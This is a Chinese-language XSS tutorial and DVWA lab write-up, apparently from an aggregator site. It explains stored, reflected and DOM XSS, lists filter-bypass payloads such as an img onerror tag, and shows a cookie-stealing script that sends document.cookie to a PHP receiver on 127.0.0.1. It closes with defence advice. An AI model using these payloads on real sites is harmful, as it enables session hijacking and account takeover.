XSS学习

2023-10-26

目录

什么是XSS

概念

理解

XSS分类

存储型XSS

反射型XSS

原理

攻击过程

DOM型

攻击过程

DOM行XSS与反射型XSS区别

存储型XSS与反射型XSS区别

DVWA实验

反射型XSS

low等级

JavaScript弹窗函数

攻击思路

攻击者web设计

medium等级

high等级

impissible等级

存储型XSS

low等级

medium等级

high

impossible等级

修复


什么是XSS

XSS全称是:Cross Site Script ,缩写应该是css,但为了与Css区分开,安全行业就取名为Xss

  • 中文名称:跨站脚本
  • 常见危害:盗取用户信息,钓鱼,制造蠕虫等。

Xss其实是一种注入,前端语言的注入。

概念

黑客通过“HTML注入”篡改网页,插入恶意脚本,在用户浏览网页时,实现控制用户浏览器的一种攻击方式。

理解

正常情况下我们有一个钥匙,对应着保险柜的门,但是有人偷偷拿到了我们的钥匙,又复制了一把,这样就也能打开保险柜了。

这里的钥匙在web中指的事Cookie,当黑客可以利用Xss盗取用户的 Cookie,黑客有了Cookie就可以以正常用户的身份访问Web站点,对于Web站点来说,他只认Cookie,无法分辨是谁在访问。

XSS分类

  • 存储型
  • 反射型
  • DOM型

存储型XSS

黑客构造XSS脚本在留言上,提交给后端的Web应用程序,Web应用程序将恶意留言保存在数据库中。

用户打开浏览器,访问嵌入了XSS脚本的页面,浏览器向后端的web应用程序请求页面内容。而页面中的留言是存储在数据库中,所以需要从数据库中读取数据,数据库会将写入的XSS代码返回给web应用程序,并最终返回给浏览器,触发XSS。

反射型XSS

访问携带XSS脚本的链接触发XSS

原理

这是后端php语言,获取参数后直接输入到客户端,导致XSS。

攻击过程

用户在浏览器中个访问带有XSS脚本的链接,浏览器向后端Web应用程序发送请求,后端应用程序将URL中XSS脚本数据写入到响应页面,并返回给浏览器,浏览器渲染响应页面,触发XSS。

DOM型

特征与反射型XSS是一样的,区别在于

可以看到触发的地方在url的hash中

Location 对象
Location 对象包含有关当前 URL 的信息。

Location 对象是 Window 对象的一个部分,可通过 window.location 属性来访问。

Location 对象属性
属性	描述
hash	设置或返回从井号 (#) 开始的 URL(锚)。

查看源码,可以看到,上面一句是从URl中提取hash赋值给变量errorMsg。第二句是对errorMsg进行编码后,以innerHTML的形式写入ID为“errorMsg”的DOM节点中。

攻击过程

用户在浏览器中访问带XSS脚本的链接,浏览器通过JS语言从URl中提取出XSS脚本内容,并写入到DOM中,触发XSS。

DOM行XSS与反射型XSS区别

  • DOM型XSS是通过前端JS语言将XSS脚本写入DOM触发XSS。
  • 反射型XSS是通过后端Web应用程序,将XSS脚本写入到响应页面中,浏览器渲染响应页面,这才触发XSS。

存储型XSS与反射型XSS区别

区别在于存储型xss是在数据库中提取XSS脚本内容,而反射型XSS是直接从URL中提取XSS脚本内容。


DVWA实验

xss本质上是一种客户端代码注入,通常注入代码是JavaScript。区别于命令注入,SQL注入等服务端代码注入。

三种XSS区别

反射型XSS

进入DVWA,打开反射型XSS,一个简单输入框。

low等级

首先进行正常操作,输入xss,点击提交

页面出现字符

输入xss标签,打开firebug发现似乎可以注入html标签

接下来进行弹窗测试,这是xss测试普遍的方法,能弹窗说明存在xss

<script>alert(/xss/)</script>

在firebug中可以查看到对应元素,成功注入了js脚本,说明这里存在xss漏洞

JavaScript弹窗函数

js中不仅仅只有alert()可以弹窗,我们可以根据服务器的过滤情况,尝试其他函数

攻击思路

反射型xss,有以下四个角色,首先用户处于登录状态,攻击者发送一个url给用户,这个url域名是被攻击的web服务器,诱骗他点击,用户点击后web会对url中包含的js脚本做出响应,用户浏览器执行js脚本。在用户不知情的情况下,发送用户凭证到攻击者的web服务器上,攻击者获取到会话信息,攻击者使用用户的身份登录到被攻击的web服务器。到这里攻击者就可以以用户的身份操作。

攻击者web设计

我们使用127.0.0.1这个ip新建一个cookie.php文件内容如下

<?php
$cookie = $_GET['cookie'];//将偷取到的cookie存储到cookie变量
file_put_contents('cookie.txt',$cookie);//将变量输出到cookie.txt中
?>

构造攻击js

<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

document.location含义是将页面内容定位到指定位置,会访问参数中的地址,参数中写上刚刚新建的php文件网址,将document.cookie获取的cookie赋值给cookie参数。这个cookie值最终会出现在127.0.0.1网站的cookie.txt中

构造并发送攻击url

hello后面的数据使我们输入的数据,除了单引号全部被html编码了

我们查看源码,使用了htmlspecialchars函数

这个函数单引号默认不编码,需要的话要设置如图参数

存储型XSS

low等级

前端限制,限制长度

我们使用firebug查看,限制了30和50个字符

我们可以使用TamperData绕过前端,直接发送,输入一百个字符,发送后发现成功绕过浏览器限制

进行插入弹框脚本,发现弹了两次,name和message成功注入,其他与反射型基本一致,因为存储型是存到数据库中的,会一直存在

清除弹窗,重置数据库

medium等级

使用大小写混合,成功注入,发现只有name注入成功,但是只要有一个弹窗成功就说明存在xss

high

使用img

<img src=x onerror=alert(1)>成功绕过

发现name注入成功

impossible等级

发现单引号被转义,其他符号被过滤

修复

输入过滤与输出过滤

输入过滤最好使用白名单

输出过滤——html编码js转义

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

XSS学习 的相关文章

  • 低代码配置-属性配置面板设计

    模块设计 tab项切换 组件基础属性 组件数据属性 组件事件属性 表单属性 模块输出函数设计 tab切换函数 列表表单属性 数据来源 调用接口时一次赋予 无需使用selectItem 如需使用 归入基础属性 列表标题 是否展示筛选区域
  • Vue 如何使用WebSocket与服务器建立链接 持续保持通信

    WebSocket 浏览器通过JavaScript向服务器发出建立WebSocket链接的请求 链接建立后 客户端和服务器端就可以通过TCP链接直接交互数据 WebSocket链接后可以通过 send 方法来向服务器发送数据 并通过 onn
  • 你的服务器还安全吗?用户数据是否面临泄露风险?

    一系列严重的网络安全事件引起了广泛关注 多家知名公司的服务器遭到黑客挟持 用户的个人数据和敏感信息面临泄露的风险 这些事件揭示了网络安全的脆弱性和黑客攻击的威胁性 提醒着企业和个人加强对网络安全的重视 一 入侵案例 1 1 蔚来数据泄露 1
  • 内网安全:隧道技术详解

    目录 隧道技术 反向连接技术 反向连接实验所用网络拓扑图及说明 网络说明 防火墙限制说明 实验前提说明 实战一 CS反向连接上线 拿下Win2008 一 使用转发代理上线创建监听器 二 上传后门执行上线 隧道技术 SMB协议 SMB协议介绍
  • 【网络安全】——区块链安全和共识机制

    区块链安全和共识机制 摘要 区块链技术作为一种分布式去中心化的技术 在无需第三方的情况下 使得未建立信任的交易双方可以达成交易 因此 区块链技术近年来也在金融 医疗 能源等多个行业得到了快速发展 然而 区块链为无信任的网络提供保障的同时 也
  • Web自动化测试 —— cookie复用

    一 cookie简介 cookie是一些数据 存储于用户电脑的文本文件中 当web服务器想浏览器发送web页面时 在链接关闭后 服务端不会记录用户信息 二 为什么要使用Cookie自动化登录 复用浏览器仍然在每次用例开始都需要人为介入 若用
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 【安全】原型链污染 - Hackit2018

    目录 准备工作 解题 代码审计 Payload 准备工作 将这道题所需依赖模块都安装好后 运行一下 然后可以试着访问一下 报错是因为里面没内容而已 不影响 准备工作就做好了 解题 代码审计 const express require exp
  • 【安全】使用docker安装Nessus

    目录 一 准备docker环境服务器 略 二 安装 2 1 搜索镜像 2 2 拉取镜像 2 3 启动镜像 三 离线更新插件 3 1 获取challenge 3 2 官方注册获取激活码 3 3 使用challenge码和激活码获取插件下载地址
  • 【安全】网络安全态势感知

    文章目录 一 态势感知简介 1 概念 2 形象举例 3 应具备的能力 二 为什么要态势感知 为什么网络安全态势感知很重要 三 态势感知系统的功能 四 如何评估态势感知的建设结果 五 什么是态势感知的三个层级 四 业界的态势感知产品 1 安全
  • 防御 XSS 攻击?

    我对 PHP 很陌生 但我听说 XSS 漏洞很糟糕 我知道它们是什么 但如何保护我的网站 为了防止 XSS 攻击 您只需正确检查和验证您计划使用的所有用户输入的数据 并且不允许从该表单插入 html 或 javascript 代码 或者您可
  • 如何在没有 Spring Boot 的情况下阻止或防止 Spring MVC 4 应用程序的 XSS

    如何保护 清理采用原始 JSON 主体并通常输出 JSON 响应且不使用 Spring Boot 的应用程序 我只看到一个可能有效并使用 JsonComponent 的好例子 如果我们不使用 jsoncomponent 如何过滤掉请求以从整
  • 清理 URL 以防止 Rails 中的 XSS

    在 Rails 应用程序中 用户可以创建事件并发布 URL 以链接到外部事件站点 如何清理网址以防止 XSS 链接 提前致谢 XSS 示例 rails 的清理方法无法预防该问题 url javascript alert XSS a href
  • PHP_SELF 和 XSS

    我发现一篇文章声称 SERVER PHP SELF 容易受到 XSS 攻击 我不确定我是否理解正确 但我几乎可以肯定这是错误的 这怎么可能容易受到 XSS 攻击
  • 使用 Spring MVC 框架清理用户输入

    我正在使用 spring mvc 框架开发 Web 应用程序 我想知道是否有任何最好的方法来清理用户输入或通用方法来清理 springs 中的所有用户输入以避免 XSS 和 Sql 注入攻击 您可以使用Filters在 Spring 框架中
  • 使用 CSP + localStorage 保护单页应用程序免受 CSRF 和 XSS 的影响

    我有一个单页应用程序 包含敏感内容 并且需要保护 这个问题专门针对 XSS 和 CSRF 攻击 解释 很多地方都提出了建议 例如here http michael coates blogspot ca 2010 07 html5 local
  • ValidateRequest 错误还是 SQL Server Bug?

    我正在读这个article http software security sans org blog 2011 07 22 bypassing validaterequest in asp net 它说 该字符用值 uff1c 表示 如果将
  • 默认情况下,ASP.NET MVC 4 是否需要额外的 XSS 处理

    默认情况下 ASP NET MVC 4 会忽略帖子消息中的 HTML 输入 如果我没有明确接受 HTML 是否需要编写任何代码来保护我的网站免受 XSS 攻击 我不会使用 AllowHtml or ValidateInput false 我
  • 不要直接访问超全局 $_GET 数组

    我是 PHP 新手 所以请原谅我 如果这是一个愚蠢的问题 但为什么我不应该直接访问超全局数组中的项目 NetBeans 警告我不要这样做 参见标题 而且我在其他地方读过同样的内容 但我还没有找到一个很好的解释 会出现什么问题 是否存在安全问
  • PHP XSS 预防白名单

    我的网站使用所见即所得编辑器 供用户更新帐户 输入评论和发送私人消息 编辑器 CKEditor 非常适合只允许用户输入有效的输入 但我担心通过 TamperData 或其他方式注入 我如何在服务器端控制这个 我需要将特定标签列入白名单 b

随机推荐

  • C++实现复化梯形公式求积分算法

    1 算法原理简介 步1 将积分区间2n等分 步2 调用复化梯形公式 2 应用实例 取 n 10 利用复化梯形公式计算积分 3 程序代码 include
  • BLDC无刷直流电机驱动电路-硬石电子

    1 BLDC无刷直流电机驱动电路 因为BLDC是三相完全一样的驱动电路 下图为其中一相电路图 其他两相完全一样 主要元器件 高速光耦 TLP715 MOS管驱动IC IR2110S MOS IRF540NS D7和C13为自举电路 2 霍尔
  • ubuntu18.04安装之后没有网络,不显示网络图标

    新安装的ubuntu18 04 06安装完成后插着网线 但是没有有线网 桌面上不显示网络图标 原因是因为ubuntu系统安装时自带的网卡驱动不兼容导致的 下面来讲解解决方法 首先 先试用手机连接线 将手机连接到电脑usb口 使用手机上的US
  • matlab中hash和map的用法总结

    若要在matlab中使用hash 有两种方式 1 采用matlab官方给出的结构类型map containers Map http cn mathworks com help matlab map containers html 2 调用J
  • 到底要不要孩子学习机器人编程

    人工智能发展迅猛 很多技术已经成熟应用到我们生活场景中 如果再不从小让孩子学习机器人编程教育 掌握更多编程语言 那未来就out啦 格物斯坦小坦克可以告诉你关于机器人编程要不要学的答案 教育部也将启动中小学生信息素养测评 并推动在中小学阶段设
  • uni-app利用chooseImage方法封装一个图片选择组件

    效果如图 可以预览 长按可删除 可以设置最多上传数量 这里封装的组件有个MaxNumber number类型 用的时候在父组件传就行了 这里默认给的8 废话不多说直接上代码 封装好了之后我们用的时候只需要引入直接用就行
  • 从etcd看Raft协议

    首先 什么是etcd 看官方的定义 A highly available key value store for shared configuration and service discovery 翻译过来就是 用于配置共享和服务发现的K
  • 动态规划(五)

    01背包问题 01 Knapsack problem 有10件货物要从甲地运送到乙地 每件货物的重量 单位 吨 和利润 单位 元 如下表所示 由于只有一辆最大载重为30t的货车能用来运送货物 所以只能选择部分货物配送 要求确定运送哪些货物
  • 如何快速画AltiumDesigner封装——用Ultralibrarian生成库文件---官网最新打开方式

    如何用Ultralibrarian生成库文件 官网最新打开方式 步骤1 下载元器件 步骤2 AltiumDesigner生成库文件 Ultralibrarian软件比较常用的生成库文件的软件 网上对于它的介绍大多还停留在软件使用层面上 但官
  • 区块链的工作流程

    工作流程 通过前两篇文章 相信大家对区块链有了基本的认识 区块链系统有很多种 第一个应用区块链的软件就是比特币 事实上区块链就是比特币带出来的 到现在为止 已经出现很多基于区块链的系统了 比如超级账本 以太坊等 每一类系统都有自己的特点 无
  • 雪花算法生成ID

    雪花算法生成ID Snowflake 雪花算法是由Twitter开源的分布式ID生成算法 以划分命名空间的方式将64 bit位分割成多个部分 每个部分代表不同的含义 而Java中64bit的整数是Long类型 所以在Java中 SnowFl
  • [网络安全]sqli-labs Less-2 解题详析

    网络安全 Less 2 GET Error based Intiger based 基于错误的GET整型注入 判断注入类型 判断注入点个数 查库名 查表名 查users表的列名 查字段 注意 总结 往期回顾 网络安全 sqli labs L
  • TensorRT简介

    一 什么是TensorRT 一般的深度学习项目 训练时为了加快速度 会使用多 GPU 分布式训练 但在部署推理时 为了降低成本 往往使用单个 GPU 机器甚至嵌入式平台 比如 NVIDIA Jetson 进行部署 部署端也要有与训练时相同的
  • 【设计模式】工厂方法模式(C#)

    设计模式 工厂方法模式 1 概述 针对简单工厂中的缺点 使用工厂方法模式就可以完美的解决 完全遵循开闭原则 定义一个用于创建对象的接口 让子类决定实例化哪个产品类对象 工厂方法使一个产品类的实例化延迟到其工厂的子类 工厂方法模式的主要角色
  • 解决gensim fasttext官方案例报错TypeError: Either one of corpus_file or corpus_iterable value must be provide

    完整报错为 TypeError Either one of corpus file or corpus iterable value must be provided 解决方法 将官方案例中传递参数时指定的sentences 删除即可 比如
  • Recyclerview源码深入探索:Adapter的增删改再也不迷路

    作者 maxcion 看到标题说的是三级缓存 有的地方说是四级缓存 请你不要迷惑 到底是三还是四 这就像图片加载这个场景有人说是三级缓存有人说是二级缓存 说三级缓存是把通过网络请求图片这个环节也认为是一层缓存 你认为这个环节应该不应该属于缓
  • 基于Qt、C++的毕业设计课设数学绘图工具(平面图、图表、立体图绘制-附下载链接)

    基于Qt C 的毕业设计课设数学绘图工具 平面图 图表 立体图绘制 介绍 这是我的毕业设计 基于Qt Creator 4 11 1 c 语言 效果图如下 点我下载项目源码 含打包软件 使用说明 1 二维函数绘制 开始界面 函数设置 输入界面
  • MySQL免安装配置教程(win10)

    一 下载安装包 1 1 下载zip包 打开官网地址下载zip安装包 这里下载的版本是5 7 可自行选择 对应下载网址 https downloads mysql com archives community 根据自己电脑进行选择对应安装包
  • 周志华《机器学习》笔记(第4章) 决策树

    第四章 决策树 1 总述 决策树基于树结构进行决策 叶结点对应于决策结果 其他每个结点对应于一个属性测试 每个结点包含的样本集合根据属性测试的结果被划分到子结点中 最终目的是产生一个泛化能力强 能够处理未知样本的决策树 基本流程遵循简单而直
  • XSS学习

    目录 什么是XSS 概念 理解 XSS分类 存储型XSS 反射型XSS 原理 攻击过程 DOM型 攻击过程 DOM行XSS与反射型XSS区别 存储型XSS与反射型XSS区别 DVWA实验 反射型XSS low等级 JavaScript弹窗函